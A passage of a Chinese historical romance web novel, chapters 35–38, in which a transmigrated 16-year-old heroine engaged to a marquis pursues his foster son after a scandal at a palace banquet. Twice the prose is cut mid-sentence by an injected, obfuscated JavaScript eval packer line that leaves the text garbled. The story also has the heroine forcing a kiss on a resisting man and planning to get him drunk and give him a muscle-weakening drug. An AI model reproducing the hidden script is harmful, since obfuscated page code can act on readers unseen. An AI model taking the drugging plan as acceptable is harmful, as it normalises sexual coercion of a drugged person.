众人皆露出一副不可置信的模样,谁不知邬涟为官几载,以严谨克己著称,从未有过一丝一毫的过错。 更何况,永定侯对其有恩,邬涟对其的敬重与爱戴,京都之人皆有目共睹。 如今突然有人站出来指控邬涟和自己未来的义母有一腿,这不是有悖人伦吗? 这句话说完,首先吓个半死的是方尚书。 他额头顿时浸出了薄汗,咬牙,“你胡说什么?你是不是方才饮了酒,胡言乱语呢?我早跟你说过,让你不要饮酒!” 真是疯了,虽然他是邬涟的顶头上司,但是明眼人都能看出来,在皇帝心中的份量他远远不如邬涟,更不要说还有个手握兵权的永定侯了。 身为舆论中心的两个当事人听完后,反应完全不同。 叶冬知本来在埋头苦吃,唯有在听见皇帝要给邬涟赐婚时多听了会,那会她确实有点提心吊胆,担心万一他真成了亲,那她的任务必定是只有失败了。 她不由得竖着耳朵,担心了好一阵,不过好在邬涟拒绝了,她也就由此放下心来。 吃着吃着,那方令仪突然一句话宛如平地惊雷,将整个帝宴炸得沸腾起来。 但是很快她就平静下来,邬涟素日防她跟防贼一样,在所有人面前都与她保持距离,更是不时将规矩、长幼尊卑等挂在口中,至少在外人眼中,他们两人绝对没有一丝一毫的瓜葛。 至于他们两人之间的亲密,都是在密闭空间之中,应当不会有第三人知道。 更何况,这把火烧得又不只有她,邬涟应该比她更着急。 想通之后,她便毫无心理负担地继续埋头苦吃。 反观邬涟,神色没有一丝波澜,仿佛方令仪口中指控的人并不是他。 皇帝也有些震惊,但更多是难以置信,“可有证据,若不然污蔑朝廷命官,是大罪!” 方尚书一直在给方令仪使眼色,眼皮都翻得快抽筋了,但是对方不为所动,语气无比坚定。 “臣女在七日前曾亲眼所见邬涟将一女子搂抱在怀中,那女子,正是永定侯的未婚妻!” “试问,若不是两人暗通款曲,为何会在无人之时不顾身份抱在一起?” 眼见方令仪一副言之凿凿的样子,座下已有些人信了,落在邬涟与叶冬知身上的视线带着不屑和鄙夷。 更多的,是想看永定侯与邬涟的笑话。 皇帝神色莫测,偏头去问座下镇定非常的青年。 “邬爱卿,你还有什么说的吗?” 邬涟摩挲着手上的鎏金锤纹玉杯,淡声开口,“方小姐可还有其他证人?” “自然有!” 方令仪倨傲地微微扬起头,语气笃定,“我的贴身丫鬟也看到了,她也能作证!” 那丫鬟赶忙走出来跪在地上,哆哆嗦嗦道,“是,奴婢也看见了。” 邬涟放下玉杯,抬眸看着方令仪,音色越发冷沉,“那敢问方小姐,当时是何时,在何处,我与叶小姐以何种姿势拥抱?” 方令仪皱眉,实在想不通有人被指控与长辈有染还能如此淡定,她很快接话,“当时大概是戌时,在一处小树林中,她的头埋在你怀里。” “呵。” 邬涟敛眸,幽幽道,“既然是在夜里,又是在林中,方小姐确信自己并没认错人?” “亦或者,根本没有这件事,完全是因为你记恨上次被邬某赶出府而胡诌的。” 许是邬涟的神色过于淡定,让座下看热闹的大臣们也有拿不准。 方令仪被赶出永定侯府的事他们都有耳闻,若说因为此事记恨,倒也能说得通。 “你!” “邬涟,你欺人太甚!本小姐才不屑说谎,看见了就是看见了!” 方令仪没想到他竟还能倒打一耙,气得满面涨红。 “那方小姐可还有其他证据或是证人?” “如若没有,想必你身为方尚书的女儿,刑部的规矩也略有耳闻。” 见他竟敢当着天子的面威胁自己,方令仪气得有些口不择言,“我上次在你府上,碰见那叶冬知给你送汤,被我撞见还不承认!” “若是你二人没有私情,她是你义父的未婚妻,本就不该做这种事,你要如何解释?!” 吃饱喝足的叶冬知站起身来,朝天子行了一礼,“陛下,民女也有话说。” “准。” 座上天子脸色也沉了下来,视线不动声色地在座下巡视。 叶冬知转向方令仪,毫无心虚之色,“我给大公子送汤,是出自关心和感恩,大公子曾于水火中救我两次,若是他病中我尚且不去看望,那不成忘恩负义之人了?” 方令仪继续道,“你还为他挡过剑!” “若不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二日,她同邬雯、邬彦一同坐马车回府,车上并没看见邬涟。 打听过后才知半夜邬涟就有急事已策马回府。 下山的路比来时要显得快些,她将头靠在车壁上,有些昏昏欲睡。 “啪啦——” 一道惊雷将车内的人惊醒,叶冬知醒来,精神有些不济,太阳穴处隐隐作痛。 她记得出发之时尚且是晴天,艳阳高照,气候干燥,丝毫没有下雨的迹象,不知为何会如此突然地变天。 她将车帘掀开一道口子,见车外天色阴暗,闷热压抑,俨然一副风雨欲来的架势。 再驶过一条街,便要到永定侯府了,叶冬知坐起身子,理了理衣服上的褶皱。 不多时,马车停稳,邬雯这几日伤好了许多,但仍然不能下地行走,只能由邬彦搀扶着。 她跟在二人身后下车,拿了把伞,随后撩起车帘,正要下车,却见到邬彦兄妹举着伞,愣愣站在马车前,似乎是十分惊讶。 扫过两人绷直的身体,其中还能隐隐感觉到一些畏惧。 她心中有不祥的预感。 此时,一道更大的雷声骤然响起—— 啪啦—— 那道闪电粗壮,刺眼的白光令人心生惧怕。 她不适地眯着眼往前方看去,一个高大威严的人影正站在永定侯府门口。 那人约摸四十上下,肤色是常年风吹日晒的小麦色,五官刚毅硬朗,粗眉豹眼薄唇,右边脸上有一道半指长的疤痕。 身量高,即便穿着常服,依然轻易就能看出衣衫之下遒劲有力的肌肉。 仅仅是站在那里,周身就缭绕着一种无形的煞气和威势,令人难以有勇气与之对视。 惊雷过后,紧接着是倾盆大雨。 雨势密集,豆大的雨滴砸在地上,“噼啪噼啪”的声响搅得人莫名心烦意乱。 叶冬知已经猜出这人是谁。 只是,没想过会这么突然地见到。 邬彦、邬雯恭敬低声地唤了一声,“父亲,您怎么突然回来了?” 闻言,永定侯邬镇庭并未理会儿女谨小慎微的询问,而是将视线投向那刚出马车的少女。 倾盆大雨夹杂着盛夏的闷热,她一袭绿衣,无任何繁杂的装饰,只在袖口绣有几片翠叶,未带朱钗,也丝毫不影响她的风情与昳丽,反而宛若雨后清丽的荷花,还未完全盛开,正含苞待放。 少女年纪正好,冰肌玉骨,眉眼青涩,身段纤柔窈窕。 天生尤物。 这便是他将要娶过门的新妇,在她还未及笄时,他就已觊觎多时,念念不忘。 与邬镇庭视线对上的那一刹那,叶冬知刚下了马车,举伞的手滞了一下,因为,她听见素未谋面,但又将是她丈夫的男人唤她: “夫人。” 她的心重重一跳。 对面男人的眼神与邬涟完全不同,那是一种成熟的、久经沙场的,赤裸裸的占有和欲望,仿佛她在他的眼中已然□□。 她暗暗呼出口气,稳住心神唤他,“侯爷。” 对方并未回应,野狼一般的目光在她身上反复巡视,片刻之后,他悠悠道。 “听说,夫人与涟儿的关系很不寻常啊。” 36. 第 36 章 轻飘飘的一句话落地,震得叶冬知脸色惨白。 他......知道了? 好在有着雨幕的遮挡,对方不能将她的神色看得过于清楚。 她尽量神色如常地往前走,轻声回答,“往后是要做一家人的,比之旁人,关系自是非比寻常。” 听到这话,邬镇庭挑了挑眉,像是有些意外。 他依稀记得他在出征之前,他的小妻子还不是这个性格。 柔弱顺从,还很胆小,见到他时,会不由自主地微微发抖。 没想到如今他秘密奉诏入京,她倒是给了他一个大惊喜。 他皮笑肉不笑,倒也没反驳她,见她朝自己越走越近,他伸出了手,手心朝上,示意她搭住自己的手。 叶冬知当然看懂了他的意图,她内心对这个男人是有些抵触的。 他过于有攻击性和掠夺性了,他的每句话和每个动作,都让人觉得自己是待宰的羔羊。 但此刻她还没有把握与他翻脸,也并不确定邬涟那边对自己有多少真心。 思及此,她将手轻轻放在了他的手心。 男人的手掌粗粝,有许多起伏的疤痕,那是一道道深刻的刀伤痊愈后留下的。 肌肤滚烫灼人,几乎是瞬间,她被烫得瑟缩了一下,但对方没给她更多思考的时间,强势地握住她的手,几乎是粗暴地将她扯了过来。 他接过她受伤的伞,撑在两人头上。 跨过门槛,他忽而问,“你就不好奇,涟儿为何昨夜就回了府,今日也并不在此迎接你们几人吗?” 邬镇庭的声音富有磁性,厚重沉闷,威严迫人。 她另一只袖袍之中的手紧紧攥着,低声回,“为何?” 邬镇庭居高临下扫了眼身侧眼神飘忽的少女,抬手揽住她的肩,察觉到她的抗拒,不由分说多用了几分力气,让她更靠近自己些许。 “他受了家法,整整三十六鞭,如今,已被关了禁闭。” 话落,叶冬知猛地抬起头,眼中满是震惊。 见她神色,邬镇庭侧目睨她。 “他身为府中长子,既未看顾好妹妹,使之受了伤,又罔顾礼法人伦,与义母牵扯不清,令侯府在帝宴上蒙羞,你说,该不该罚?” 叶冬知被这突如其来的变故惊得说不出话来。 只觉头脑发懵,心脏砰砰直跳。 邬涟洁身自好人人皆知,即便在帝宴上已澄清谣言,但邬镇庭仍然没有放过他,反而重重罚了他。 这就意味着,这名震朝野的永定侯,是一个强势且眼里容不得沙子的人。 邬涟自小由他亲手教导,有父子之情尚且如此严苛,那么对她呢? 在这种封建时代,女子遭受的谴责与代价往往更严重,她大脑一片空白,会直接杀了她吗,还是将她安上不守妇道的由头浸猪笼? 在她的忐忑中,那道声音继续响起:“至于你,本侯未过门的未婚妻,不管你与涟儿之事是真是假,但府中规矩森严,你让本侯丢脸至极,所以——” 他顿了下,原本语气还算温和的语气顿时急转直下,变得冷酷无情,“去祠堂罚跪七日,期间不许有人送吃食与水,若是你能熬过去,本侯便信你是清白的。” 七日不吃不喝? 这根本就是要活活饿死她。 身后的邬彦闻言连忙道,“父亲,叶小姐与长兄之事都是谣言,是那方令仪记恨在先,万万不可轻信啊!父亲!” 邬镇庭眼刀一扫,“闭嘴!” 只一眼,邬彦白了脸,不敢再为她说话,畏惧地低下头去。 邬雯在一旁冷眼看着,心中觉得很是痛快。 这叶冬知生得一副祸水模样,四处招蜂引蝶,活该有今日的报应。 邬雯垂眸看了眼自己的右腿,心头划过一丝愧疚,但一想起裴砚看叶冬知的眼神,那点愧疚很快又被冲散了。 随着邬镇庭话落,两个身强力壮的嬷嬷一左一右将叶冬知架了起来。 她挣扎了一下,忍着心中惧怕反问,“侯爷既然没有证据,就不该罚我。” 粗粝的手陡然捏住她的下巴,似乎只要稍稍用力便能轻而易举将她颌骨捏碎。 他灼热的吐息喷洒在她面上,声音越发地沉,“不需证据,本侯眼里容不得沙子。” 说完,用力将她的脸掰向一侧,手指着不远处的青石地板。 “昨夜涟儿在此受刑,后背皮开肉绽,你去看看那石板缝隙里,兴许还有他的血迹。” “你若也想挨几鞭子再去祠堂,本侯乐意成全你。” 眼见邬镇庭是铁了心,叶冬知没再开口,任由两个嬷嬷将她拖向祠堂。 事到如今,只有走一步看一步。 祠堂在府中偏僻之处,除了负责打扫的下人,其余人未得到允许,一律不许靠近。 打开祠堂门后,嬷嬷将她用力往里面一扔,手脚麻利地将祠堂上了锁。 这是叶冬知第二次来祠堂。 她穿越到这个世界时,便是自这里醒来。 若真是活活饿死在里面,那便真应了那句从哪里来,回哪里去了。 她揉了揉被拽痛的肩膀,站起身来。 祠堂里面寂静非常,光透不进来,泛着一股压抑。 堂前供奉着邬家历代先祖牌位的牌位,两侧燃着红烛,供有长生灯,牌位下放着贡品,都是新鲜的瓜果。 世家大族重礼守矩,不会去动贡品,原身是典型的大家闺秀,直到活生生被饿死也没动贡品一下。 但她毕竟不是原身。 走到供桌前,她挑了个又大又红的苹果吃了起来,一个下肚,已经饱了。 她坐在蒲团上,觉得一个有点薄,又将旁边几个全部叠在一起,坐在上面舒服不少。 做完这些,她才开始思考下一步怎么办。 当务之急,她要先见到邬涟,永定侯虽是家主,但常年在边关,这侯府早被邬涟一手把持,他若是想放她出去,不可能一点办法都没有。 但问题是,她不知道邬涟被关在哪里,也不知他被邬镇庭关了几天。 时间转瞬流逝,很快到了夜里。 叶冬知将几个蒲团并在一起,组成了一张可供一人躺着的小床。 突然,静谧的空间中传来一阵“叩叩”声。 她顿时警觉地坐了起来,循着声音的源头慢慢挪动脚步。 动静是从牌位后面那堵墙传出的。 那道声音还在响,时不时响两声,仿佛是害怕被人发现,不敢一直敲击。 她凑近了耳朵去听,那头传来一声呼唤,“小姐!小姐你听得到吗?” 是阿蔷的声音。 她慌忙回应,“嗯,我在。” 那边传来一阵窸窣的声响,很快,一个可容一人弯腰通过的通道被人从对面打开,露出阿蔷焦急的脸来。 叶冬知愣住了,这不是祠堂吗,怎么还有暗道。 很快她便发现,来的不仅仅只有阿蔷一人,还有一张熟悉的面孔。 长安压低了声音道,“前几年祠堂漏雨,公子曾叫人重新翻新过一次,这个通道,是为以备不时之需留出来的,除却那几个工匠,府中只有我与公子知道。” 叶冬知暗暗咂舌,“你怎么也来了,大公子呢?他不是还被关着吗?” “我......”长安顿了顿,其实他是自己来的,公子现下被侯爷关在地下暗室,还不知道叶小姐也被关进了祠堂。 但他直觉若是公子知道,也定会让他过来看看。 “是公子让我来的,侯爷今夜不在府中,进宫了,约摸着要后半夜才回来。公子明日就会被放出来的。” 闻言,叶冬知心道,果然她才是外人,邬涟关一日,她关七日。 阿蔷从那头递给她一个食盒,里面装有一碗米饭,两碟小菜和一壶水。 “小姐你快吃吧,吃完了奴婢再拿走,这里没有护卫看着,只要侯爷不在,不会被发现的。” 她也不啰嗦,接过来就吃,吃到一半时,她忽而想到邬涟的伤势。 “对了,大公子受了那么多鞭,如今......可还好?” 长安听到这句话,露出一副终于等到你问的神色。 他今夜来此,一是为了看看叶小姐是否安好,二是趁机替公子博得佳人同情。 于是,长安眉头一皱,沉沉叹了口气,又摇了摇头,“公子他......哎......” 见此情状,叶冬知眉目有些担忧,“怎么了,你快说呀。” “公子受罚的那鞭子是特质的,带刺,几鞭下去,公子脸色惨白,后背全是血,等三十六鞭打完,公子已血肉模糊,隐约可见白骨,意识更是恍惚不清。”长安继续说,“更要命的是,侯爷不许人给公子医治,打完便将公子关进了暗室。” “暗室,那是什么?” “那是一处位于地下的牢房,以前是用来惩治府中犯事的奴仆的,四面不透光,地上全是鼠蚁,阴冷无比。公子伤得那么重,不知道在里面怎么过啊,就这样,公子在被关进去前,还让我暗中多看顾你,说他已经习惯了,但你肯定吃不了这样的苦,都是他连累了你啊。” 说完,长安装模作样地拿衣袖抹了一把眼泪,借着余光偷偷打量对面女子的神情。 见她黛眉频蹙,欲言又止,一副不忍的心伤模样,便知道自己这出卖惨卖得极为成功。 其实,事情远没有他说得这么夸张。 公子被打是事实,但那暗室却并非如此,只是一处无人的密闭空间罢了,里面设有简易的床和书案,至于伤势,公子随身携带疗效极好的伤药,目前应当已经上了药。 事实也如长安料想的一样,叶冬知听完,内心已震惊无比,以至于让她短暂地陷入了沉默。 她知邬涟不善言辞,亦寡言少语,他的喜怒爱恨都表现得太少,难以让人窥见半分。 到如今,她仍不能肯定邬涟是否真的心悦她。 他总是将礼义廉耻、人伦礼教挂在嘴边,令人她分辨不出他每次的脸红、慌乱到底是出于害羞还是被冒犯的愠怒。 以及他屡屡对她的拒绝和气愤,是因为他吃醋,还是她做出了不符身份的事,才让他那样谨守清规的人无法忍受。 她不止一次想过,他到底对她有没有真心。 但现在,长安的这番话忽然让她看见了希望。 所以,是他爱得太深表现得太少,即便自己已身受重伤,还一心牵挂着她。 看来,她所做的那些并非没有一点效果。 她吃完东西,阿蔷从通道里塞给她一床被子,“小姐,熬过这几天就好了。” “嗯。” 阿蔷与长安走后,叶冬知就着这床被子在蒲团上睡了一觉。 次日。 天刚蒙蒙亮,外面就传来一阵脚步声。 紧接着,有人打开门锁,“叶小姐,老奴奉侯爷的命来看看您。” 闻言,叶冬知飞快将那床被子塞到供桌后面,又将蒲团恢复原样。 做完这一切,门也刚好被打开。 老嬷嬷站在门口,见屋内女子披头散发地跪在地上,身形单薄瘦弱,脸色颓靡,很是满意,“看来叶小姐是知错了?无妨,再坚持几天,就能出来了。” “对了,老奴是来告诉您一个好消息,侯爷说了,若是您能熬过去,那出来便举行大婚,将婚事给办了,在侯爷再次出征前,也好给侯府多添个人。”< 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“嗯,听说伤势不轻,大夫来看过,说还得休养一段时间。” 叶冬知点头,继续问,“那侯爷呢?” 阿蔷想了想,“白日听说侯爷今日与同僚出去喝酒了,这会还没回来呢。” 还没回来么。 如此甚好。 阿蔷收好食盒,要离开时,叶冬知几乎是有些愉快地叮嘱她,“回去小心一些,别被人看见了。” “小姐放心吧,这条路长安都打点过了,不会有人的。” 盛夏闷热,即便关着窗,仍然能听到聒噪的蝉鸣在夜里响彻不息。 叶冬知又等了会,这个时辰,正是府中大部分入睡的时候。 她蹑手蹑脚地打开通道的机关,慢慢钻了出去。 邬涟喜静,府中人皆知,是以十分凑巧的是,祠堂与他所住的院落隔得并不算很远。 她一路小心,捡着小路慢慢挪过去。 熟悉的院落出现在她眼前,过往她来过不止一次,因此可以轻车熟路地找到邬涟的卧房。 也不知是不是她的错觉,她只觉今夜一切都分外顺利。 越靠近那间屋子,檀香便从门缝、窗户缝隙间透出,其中还隐隐夹杂着一股淡淡的血腥味。 她抬手准备推门,突然发现门竟然没锁,留了一条很小的缝隙。 不过此时她没空想这个,她推开门。 伴随着轻微的“吱呀”声,趴在榻上的人立刻便听到了,他以为是长安,遂问,“何事?” 对方没有回应。 邬涟皱眉,忍着背上的疼痛轻轻翻身坐起,从枕下掏出一把匕首。 他屏息,察觉到那人似乎很熟悉他房间的布局,以至于没有四处翻找,便直接绕过屏风,朝着他的床榻而来。 对方脚步凌乱,也不懂收敛呼吸,看来,武功应该不高。 莫不是平日哪家政敌打听到了他受伤,想趁机了结他。 不过,他无声地冷笑,太蠢了些,也过于高看自己派来的人。 他握紧匕首,静静等待着那人靠近,却听见对方忽然停了脚步,于黑暗中低低唤了声。 “大公子。” 邬涟顿住了。 那三个字婉转动人,妩媚娇俏,曾许多次出现在他虚妄的梦中。 紧接着,一盏灯燃了起来。 他收起匕首,抬眸看向来人。 澄黄的烛光自她身前散开,照亮了她整个人,她一身绿衣,长发未束,仅用一根发带松松系在脑后。 她掌着灯,定定看着他。 “你——怎么出来了?” 他不由得惊讶,他前不久从暗室出来,便得知她也被义父关了禁闭。 虽然七日是太久了些,但为了平息义父的愤怒,让义父彻底打消疑虑,他便暂时没有插手。 等找到时机,他自会差人给她送东西,让她好过些。 他纵容自己与她不清不楚,这三十六鞭,是他该受的,他毫无怨言。 义父告诉他,等七日过去,若她能出来,便会举行大婚。 此后,她便是他名正言顺的义母,他们之间,会隔着一条永远不能跨过的鸿沟。 听到那个消息时,他震惊,有一瞬间脑中无法思考。 紧随而至的,是极大的失落,胸口胀满着他无法宣之于口的情绪。 他记得义父是如何对他说的。 义父盯着他,眼神紧紧锁着他的脸,一字一句问他,“你觉得如何?” 那时他是如何做的呢,他的指甲陷入掌心,虽有不甘,但他的理智仍然占据了上风。 他神色平静,语气亦无不妥,“那便提前恭祝义父大婚,得娶新妇。” 这句话既让义父安心,也彻底斩断了他不该有的心思。 其实说到底没什么可难过的,他和她始终都会有这一天,只是现在提前了一点而已。 “我想见你。” 寂静的室内,她忽而说。 “只是想见你而已,这个理由不可以吗?” 她又说了一句。 邬涟闭了嘴,因为此刻他发现自己不知道该说什么。 眼前多了一双云纹绣花锦鞋,是她走近了些。 “为什么不说话,你明明很担心我。” 叶冬知不理解,自己伤得那么严重都还叫长安来看她,怎么现在倒是不说话了。 不过也正常,他一向是这样,没关系,她想,接下来发生的事,她会让他亲口承认的。 37. 第 37 章 闻言,邬涟有些疑惑地看了她一眼。 他是担心她不错,但他从未说过,她又如何得知。 还未等他想明白这茬,她坐在了他的身侧,视线落到他缠着纱布的后背,隐约透着丝丝血迹。 果然伤得很重,长安没骗她,思及此,她说,“你受了三十六鞭,是不是很疼?” 疼吗。 其实还好,这样的伤势他已经记不清自己有过多少次了。 于是他也认真回答,“不算很疼。” 她噤了声,目光再度落到伤处。 整个后背都裹满了纱布,听长安说那鞭子有倒刺,可想而知每一鞭下去都将会带起翻飞的血肉。 “怎么会不疼呢。”她喃喃着,绕到他身前,双手环过他的脖颈,拥抱住了他的脑袋。 邬涟整个人僵住了。 她不爱熏香,是以身上的味道不浓烈,浅浅的馨香,是独属于她自己的味道。此刻他整个脑袋被她搂在怀里,那股香让他此刻本就不解的大脑更难以思考。 他绷着唇不敢动作,因为只要一开口,便会不可避免地触碰到她的...... 他太清楚那是什么了。 邬涟睫毛颤了颤,试图用双手推开她,但因背上的伤,导致他不敢过于用力。 “你松开我,我们这样,于理不合。” 有些闷的声音从她胸下传来,叶冬知松了手,俯身看他。 “大公子,我有个办法,能让你不那么疼,你要试试吗?” 她笑了一下,明明是很寻常的话,却像是带着钩子。那双眼在看他时,也绽放出无边魅意。 “什么方法?”在她那样的视线里,他不由得问。 话音落下,她瞬间凑近,灼热的气息先一步落在他的面上。 意识到她想做什么的刹那,她的唇贴上了他的。 邬涟惊惶地往后退,她便穷追不舍。他退一步,她追一步,直到他的背贴上了墙,细密的刺痛从身后传来,他再避无可避。 他偏开头,让她的吻落了空,语气尚能自持,“义父已经回了府,你还想怎样?你我都已受到重罚,还嫌不够吗?” “不够。”她丝毫没理会他的慌乱和愠怒,只分神了刹那,便用一只手擒住他的下巴,逼得他不得不抬起头。 两处温热相交,她尤嫌不足,便伸了舌尖,在他唇边舔舐片刻后,尝试撬开他的唇齿。 邬涟显然没有任何经验,她能感觉到他的身体僵硬无比,呼吸沉重急促。 她往前倾了倾,忽然被咬了一口。 “够了,到此为止吧。” 他语气冰冷地躲开她,漂亮的唇殷红,上面染着她的血。 叶冬知不忿地盯着他,还想继续,被他一只手握着肩膀,生生拦住了。 “你非要陷彼此于不可挽回的地步吗?” “现在收手还来得及,事情尚有转圜。” 哪有什么转圜,那是对他而言,对她自己来说,到这一步,早就没有任何退路,她唯一的机会便只有一搏。 她垂眸看着他的唇,一只手掰开他的手,随即再度倾身上去。 见她似乎是冥顽不灵,邬涟也有些恼了,不顾自己背后的伤,将她两只手剪在一起,迫使她动弹不得,另一手擦掉唇上的血迹。 眼见被制止了动作,叶冬知愣了一瞬,眼尾泛起了红,“你不喜欢我吗?你明明比你表现出来的更喜欢我。” 要不是他有私心,哪能一次次纵容她对他做出许多越矩的事,如今细想起来,过往处处都有迹可循。 “没有。” 他眼神认真地看着她,“从来都没有,如果是我做了什么让你误会,我向你赔罪。” “你骗人!”她没料到现在对方都不敢承认,只得不断用事实质问他,“上次你中了药,对我情难自持,一直抱着我不撒手,这也是假的吗?” “那是媚药,中药之人会丧失理智,我也不例外。”他依旧否认。 “那你见裴砚送我回来,便醋意大发,要我不准再与裴砚出去,这难道也是媚药?” 她言辞激烈,说话时语气中已有几分讽刺。 “你是义父的未婚妻,擅自与外男出去,这不合规矩。” 他仍道。 “规矩,又是规矩!你敢对天发誓说自己对我从来没有一丝一毫念想吗,你就真的要眼睁睁看着我嫁给你义父吗?” 她红着眼,胸膛上下起伏,竭力不让眼泪流出来,“你甘心吗?邬涟!” 他看着他,忽而噤了声。 她笑起来,在灯下恍若快枯萎的昙花,美艳而颓败,仿佛过了今晚,她就会消散。 “你说话啊,怎么,不敢承认了?” “你明知道我一点都不想嫁给你义父,你一直都知道我喜欢你啊。” 即便已经在受罚时下了决心,但此刻仍然会觉得难受。 他望着她,她仿佛真的很伤心,眉间满是哀凄,眼神也失望不已。 半晌,他推开她,从榻上下地,后背的纱布渗出了血迹。 随即他打开门,“过往所有都只是一场意外,叶小姐,我对你并无非分之想,从始至终都没有。” “回去吧,今夜之事我不会告诉任何人。” 叶冬知还保持着原来的姿势,她及腰的青丝垂着,从门口灌进来的风,燥热,不能使她的心平静分毫。 但她还是说,“好。” 语罢,她下了榻,自他面前走过,未再将目光分给他分毫。 看着她逐渐远去的背影,邬涟闭了闭眼。 没关系的,她会明白的。 她才十六岁,太年轻,即便对他有别样的心思,在成婚后很快就会消散殆尽。 回去的路如来时一般寂静无人,叶冬知回了祠堂,神色幽暗。 在去之前,她就已料到邬涟的态度,毕竟以他的性子生生受了三十多鞭,如果不是心甘情愿,旁人奈何不了他。 但终究还是有些失落,她都已做到如此地步,他仍旧油盐不进。 既如此,就别怪她用些别的手段了。 左右她攻略失败,不过一个死字,就算做到极致也无法挽回,死之前,还能用用他的身子,那也不算太亏。 * 之后,阿蔷照常来给她送饭,用过膳后,她说,“你下次将我房中的那壶酒带来,对了,再去买一些软筋散来。” 阿蔷惊讶不已,“小姐,你要这些做什么?” “我自有我的用处,你只管与我取来。” 要说这府中谁最信得过,便是阿蔷。阿蔷是原身还在叶府时的丫鬟,自她六岁起便陪着她,如今已有十个年头。 小丫头无父无母,是原身在她流落街头时救了她,才不至于让她落个被饿死的下场。 虽想不出叶冬知到底要拿来干什么,阿蔷也未多问,暗自记下后,便提着食盒离开了。 被关在祠堂里的日子难熬,也很无聊。 第四天的时候,邬镇庭来看她。 那时正是晌午,外面艳阳高照,随着他的动作,祠堂门被打开时卷起一股热浪。 这股热浪很快就消散在阴冷的祠堂里。 男人沉重稳健的脚步声响彻在寂静空旷的空间里。 叶冬知背对着祠堂门,跪在蒲团之上。 也许是因为几日没见,邬镇庭睨着她单薄的背影,好像真瘦了许多。 “反省得如何了?” 他问,厚重磁性的声音彷如实质一般撞击在四周,回荡起阵阵回音。 面前的女子没应,只是闻言微微侧了侧头,祠堂的窗和寻常的窗不一样,小了很多,也更窄。 一道落在窗户上的光只能落进几缕,便无法再进分毫,那几缕的光刚好照在她偏头时的脸上。 照得她本就白皙的脸看起来有些瘆人的惨白,脸颊隐在青丝中,显得死气沉沉。 她无力地哑着嗓子叫他,“侯爷。” “嗯?”他回。 似乎是因为她这幅残败的样子取悦了他,让他生出许多掌控的快感。 “看样子你倒是知道错了,不过既说了是七日那便一日都不能少,我待会让人送点东西过来,再有三日,你便可嫁给本侯,成为这永定侯府的女主人。” “若是一开始你就听话些,便不会受这些苦了,知道吗?” 他说着,语气放柔了些,眼神却如饿狼紧紧锁着她。 无妨,再等上几日而已,届时他要好好欣赏这朵娇嫩的花如何在他手中绽放。 “是。” 她有气无力应着,直到重新听到关门声,她立马换掉那副恭敬软弱的神色。 真恶心啊。 她起身,眯起眼,面无表情地看了看门口,然后掏出那床被子,躺了上去。 第五日的晚上,阿蔷如约给她带来了她想要的东西。 她掀起盖子闻了闻,是仙人醉,刚入口时尚不觉得辣,也不觉得有多少酒意,然一炷香后,酒劲上来,饮酒的人便会觉得有些醉。 不是很烈的酒,但对于邬涟来说足够了。 他本就很少饮酒,想必酒量应当很差。 入了夜,她将一张细软的布条给了阿蔷,让她拿给邬涟,并于明夜,让长安想办法为她准备一桶温水。 布条是从她的肚兜撕下来的,字是取的未燃尽的香写的。 嘱咐完这一切,她的心反而静了下来。 过往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见此,两人也不好推辞,既能白得银子又不用干活的好事,他们当然乐意,便慌忙接过银子,连声应好。 打发走两人后,长安将怀里包着的布条拿出来,这是昨夜阿蔷交给他的,说是要一定交到公子手中。 他走近书房,将那团东西搁在他书案上,“叶小姐托我给您的。” 邬涟提笔的手顿了一下,很快移开视线,“她如今与我已毫无干系,东西拿去扔了。” 长安哪能不知他的心思。 公子越是这样表现得不在意,这样冷漠,便说明心里越发放不下去。 若是他真听了将东西拿去扔了,那才真有他好果子吃。 思及此,他劝道,“叶小姐难得给您捎个东西,您就看看,说不一定这是最后一次了,往后只怕是想说,也没了机会。” 他知道公子在意什么,所以在他说完后,他见公子迟疑了一下,还是拿起了那团东西。 最外面是一块手帕,很简单,用料也一般,想必是阿蔷特意拿来包着的,等打开这层手帕,露出里面鹅黄色的布料。 那布料柔软丝滑,触感有如女子肌肤。 不知想到了什么,邬涟忽然将那布条捏在手心,对长安道,“你出去。” 长安瘪嘴,知公子心绪不宁,便识趣地退了出去。 不就是一块布嘛,上面的字他看不得,这块布也看不得了? 等长安走后,邬涟将手心摊开,如果他没有记错,这块布,应当是她的.....小衣。 他有好几次见过她穿这个颜色。 忽而,他又觉得手心有些烫,他压下思绪,将布条展开。 上面的话很简单—— 今夜子时,祠堂见,等你。 他在打开布条前想过很多种可能,猜测过她也许想让他助她逃出去,又或者是其他的请求。 但没想到,只是一个这么简单的要求。 可即便这么简单,他也不能答应她。 前几日夜里的事,那是他能容忍她与自己的极限,他在暗里想过,把那当做最后一次与她的见面。 往后,他断不会再迈出一步。 他打定主意,将布条搁在一边,提笔继续批阅公文。 然片刻之后,他发现那布条似乎背面还有一行小字。 他翻过来,看见她写道—— 最后一次,往后我不再纠缠于你,说到做到。 他凝眸沉思半晌。 罢了,既然她都这样说了,他有何理由拒绝。 那日见她心有戚戚,不如再见一次,彻底死心就好。 38. 第 38 章 入夜,蝉鸣声嗡嗡作响。 叶冬知安静跪在蒲团上,将满头青丝拨在一侧,漫不经心梳理着。 梳完之后,她望向窗外,明月高悬,银色光辉洒落于这方寸之地。 屋外有微风,一片薄云被风送到明月前,盖住了明月一角,令完美无缺的月亮有了些许瑕疵。 她收了目光,听见祠堂外有脚步声响起。 步伐轻盈,声音很小,与邬镇庭的沉重有力不同。 不多时,门外传来开锁的声音,紧接着,有人推开了门。 她回头望去,月光尽数落在来人的身上,仿佛给他铸就了一道圣洁无比的光辉。 事实上他此刻的确能担起“圣洁”这个词,邬涟穿着一身白色的织金锦袍,衣摆处有银线滚边,其上绣有仙鹤纹样。 清辉洒于其上,好似有流光浮动。他束冠,衣衫一丝不苟,脸庞如瓷玉,容色清绝,眼神亦巍然不动。 